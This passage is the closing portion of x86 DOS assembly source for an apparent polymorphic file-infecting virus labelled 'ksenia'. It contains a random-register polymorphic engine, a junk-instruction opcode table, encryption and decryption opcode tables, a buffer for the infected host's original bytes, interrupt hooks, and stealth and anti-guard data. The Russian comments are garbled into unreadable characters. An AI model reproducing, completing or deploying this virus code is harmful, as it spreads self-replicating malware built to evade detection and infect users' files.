        cmp     cl,11b
        jne     putrnd
        mov     cl,w_flag
        inc     cl

  putrnd:
        xor     ax,ax
        call    xrandom
        mov     [di+bx+1],al
        inc     bx
        dec     cl
        jnz     putrnd
 nRND:

 nINS:  mov     cx,bx
        inc     cx
        pop     di si dx bx ax  ; 㧪 ॣ஢
        ret


; ணࠬ  樨 砩  ॣ  AL     AH
;  室: r_used -   16- ॣ஢
;           w_flag - ࠧ來 ॣ (0-8 ,1-16 )
;  室: CF=0 - ॣ     AL
;            CF=1 - ॣ  , AX ࠧ襭

 xreg:  mov     al,11101111b    ; ᪠  ஢ન 16-⭮ ॣ/SP
        cmp     w_flag,1        ; ஢ઠ ० 樨
        jz      cbt
        mov     al,1111b        ; ஢ઠ 4 ⮢  8-⭮ ᫠
 cbt:   mov     ah,r_used       ; 㧪  ஢
        not     ah              ; ஢ AH
        test    ah,al           ; ஢ઠ ⮢
        jz      noreg           ;   ⠭?

 newr:  mov     ax,8            ; 砥 砩 
        call    xrandom         ;  0  7
        mov     ah,al           ; 㡫㥬 

        cmp     w_flag,1        ; ⨯ 訢 ॣ
        jz      chksp           ;  砥 8-⭮ ॣ ஢ઠ, 
        and     al,11111011b    ;     ᯮ짮
        jmp     r_chk

 chksp: cmp     ah,4            ; ஢ઠ  ॣ SP
        jz      newr

 r_chk: push    dx              ; 祭 ᪨ 
        call    tomask          ; ॣ  ஢ન ⮣,
        mov     al,ah           ;   㦥 ᯮ
        mov     ah,dl
        pop     dx
        test    r_used,ah       ; ஢ઠ ॣ
        jnz     newr            ; 㦥 ?
        clc                     ; ⪠ CF
        ret                     ; 室  ணࠬ
 noreg: stc
        ret


;     (DB ࠢ騩_, DB , DB )
; ࠢ騩_ 룫廊 ᫥騬 ࠧ:
; 00000000
;   樨 (+1 )
;     REG ( [0-2] ᫥  )
;     WRD
;    砩 祭 (00-,01-,10-᫮,11- WRD)
;    ,     (WF=0)
;  祭  WRD, ᫨    
;   3- 砩  [5-3]  ᫥  

 opcode  label
        db      00011010b,10110000b,00000000b ; MOV     REG,Const (8/16)
        db      01011010b,10111000b,00000000b ; MOV     REG,Const (8/16)
        db      00011111b,11110110b,11000000b ; TEST    REG,Const (8/16)
        db      00011111b,10000000b,11000000b ; ADD     REG,Const (8/16)
        db      00011111b,10000000b,11001000b ; OR      REG,Const (8/16)
        db      00011111b,10000000b,11010000b ; ADC     REG,Const (8/16)
        db      00011111b,10000000b,11011000b ; SBB     REG,Const (8/16)
        db      00011111b,10000000b,11100000b ; AND     REG,Const (8/16)
        db      00011111b,10000000b,11101000b ; SUB     REG,Const (8/16)
        db      00011111b,10000000b,11110000b ; XOR     REG,Const (8/16)
        db      00011111b,10000000b,11111000b ; CMP     REG,Const (8/16)

        db      10000111b,10001000b,11000000b ; MOV     REG,REG   (8/16)
        db      10000111b,10000100b,11000000b ; TEST    REG,REG   (8/16) /"D"
        db      10000111b,00000000b,11000000b ; ADD     REG,REG   (8/16)
        db      10000111b,00001000b,11000000b ; OR      REG,REG   (8/16)
        db      10000111b,00010000b,11000000b ; ADC     REG,REG   (8/16)
        db      10000111b,00011000b,11000000b ; SBB     REG,REG   (8/16)
        db      10000111b,00100000b,11000000b ; AND     REG,REG   (8/16)
        db      10000111b,00101000b,11000000b ; SUB     REG,REG   (8/16)
        db      10000111b,00110000b,11000000b ; XOR     REG,REG   (8/16)
        db      10000111b,00111000b,11000000b ; ADC     REG,REG   (8/16)

        db      00100000b,10001010b,00000000b ; MOV     REG,[MEM] (8)
        db      00100000b,10000100b,00000000b ; TEST    REG,[MEM] (8) (No "D")
        db      00100000b,00000010b,00000000b ; ADD     REG,[MEM] (8)
        db      00100000b,00001010b,00000000b ; OR      REG,[MEM] (8)
        db      00100000b,00010010b,00000000b ; ADC     REG,[MEM] (8)
        db      00100000b,00011010b,00000000b ; SBB     REG,[MEM] (8)
        db      00100000b,00100010b,00000000b ; AND     REG,[MEM] (8)
        db      00100000b,00101010b,00000000b ; SUB     REG,[MEM] (8)
        db      00100000b,00110010b,00000000b ; XOR     REG,[MEM] (8)
        db      00100000b,00111010b,00000000b ; ADC     REG,[MEM] (8)

        db      00001111b,11000000b,11000000b ; ROL     REG,Const (8/16)
        db      00001111b,11000000b,11001000b ; ROR     REG,Const (8/16)
        db      00001111b,11000000b,11010000b ; RCL     REG,Const (8/16)
        db      00001111b,11000000b,11011000b ; RCR     REG,Const (8/16)
        db      00001111b,11000000b,11100000b ; SHL/SAL REG,Const (8/16)
        db      00001111b,11000000b,11101000b ; SHR     REG,Const (8/16)
        db      00001111b,11000000b,11111000b ; SAR     REG,Const (8/16)

        db      00000111b,11110110b,11011000b ; NEG     REG       (8/16)
        db      00000111b,11110110b,11010000b ; NOT     REG       (8/16)
        db      00000011b,11111110b,11000000b ; INC     REG       (8)
        db      00000011b,11111110b,11001000b ; DEC     REG       (8)
        db      01000010b,01000000b,00000000b ; INC     REG       (16)
        db      01000010b,01001000b,00000000b ; DEC     REG       (16)

        db      00000000b,11111000b,00000000b ; CLC
        db      00000000b,11110101b,00000000b ; CMC
        db      00000000b,11111001b,00000000b ; STC
        db      00000000b,11111100b,00000000b ; CLD
        db      00000000b,11111101b,00000000b ; STD
        db      00000000b,11111010b,00000000b ; CLI
        db      00000000b,11111011b,00000000b ; STI
        db      00000000b,10010000b,00000000b ; NOP
        db      00000001b,11101011b,00000000b ; JMP $+2

 oclen  equ     ($-opcode)/3


;    権 /஢

 enopI  db      10000001b,11110000b       ; XOR
        db      10000001b,11000000b       ; ADD
        db      10000001b,11101000b       ; SUB

 deopI  db      10000001b,11110000b       ; XOR
        db      10000001b,11101000b       ; SUB
        db      10000001b,11000000b       ; ADD
 oplen  equ     (this byte-deopI)/2


;   CRC

 end_crc:

 random1                dw      0          ;  砩 ᥫ
 random2                dw      0
 checksum               dd      0          ; CRC32 
 host                   db      'C'        ; ⨯ ࠦ ணࠬ

 epb                    dw      0          ; Execute Parameter Block
                        dw      80h        ;  ப
 seg0                   dw      0
                        dw      5ch        ; FCB#1
 seg1                   dw      0
                        dw      6ch        ; FCB#2
 seg2                   dw      0


;  ஢   (2- ᯮᮡ - internal)

 endi:

 SaveRegs:
        pushf                   ; ࠭ ᠬ ॣ஢
        push    eax bx edx si di bp es ds
        mov     bp,sp
        push    w [bp.rcx]      ; ஢  
        mov     [bp.rcx],cx
        mov     bp,[bp.rbp]     ; ⠭ BP
        ret

 LoadRegs:
        pop     cx              ; ⠭ ᬥ饭 
        mov     bp,sp           ; ஢    
        xchg    cx,[bp.rcx]
        pop     ds es bp di si edx bx eax
        popf
        ret

 rreg           struc
 rds            dw      ?       ; ᯮ ࠭
 res            dw      ?       ; ॣ஢  ⥪
 rbp            dw      ?
 rdi            dw      ?
 rsi            dw      ?
 redx           dd      ?
 rbx            dw      ?
 reax           dd      ?
 rflg           dw      ?
 rcx            dw      ?
 rreg           ends

 if             ($-ksenia+crlen) mod 2 eq 1
                nop
 endif

 original       db      0c3h       ;    ᫥ !!!
                db      31 dup (0) ;    ᫥ !!!


;  ᪮  -  䠩  

 eov:

 io08           dw      ?,?        ; 祩 ࠭ ஢
 io21p          dw      ?,?        ; 뢠
 io24           dw      ?,?
 stf            db      ?          ; ० ⥫ (mcbcheck)
 seek_pos       dw      ?,?        ;  㪠⥫ (SeekSave)
 nrbytes        dw      ?          ; ⠭  (ReadStealth)

 r_used         db      ?          ; [NEXUS] Polymorphic engine
 indexr         db      ?           ;
 indexm         db      ?            ;
 countr         db      ?             ;
 accumr         db      ?              ;
 r_ptr          dw      ?               ;
 w_flag         db      ?                ;
 crbuf          db      4 dup (?)         ;
 nbuf           db      4*cripts+1 dup (?) ;
 pushs          db      7 dup (?)         ;
 delta          dw      ?                ;

 fn_ptr         dw      ?,?        ;  䠩 (ClrAttrib)
 attrib         dw      ?          ; ਡ (ClrAttrib)
 time           dw      ?          ; ६ 䠩 (GetDate)
 date           dw      ?          ;  䠩 (GetDate)
 w95state       dw      ?          ; ﭨ Win95 (筥 WinOldAp)
 save_ax        dw      ?          ; । ࠬ஢ 
 save_bx        dw      ?          ; १⭮  ࠡ稪
 save_es        dw      ?          ;
 reqhdr         dw      ?,?        ; REQUEST_HEADER
 intcall        dw      ?,?        ; SYS_INTERRUPT
 delay          db      ?          ; 稪  Virus Guard

 header         db      32 dup (?)
 buffer         db      vsize dup (?)
 stacks         db      100h dup (?)

 eom:           end     ksenia
===== Cut here =====
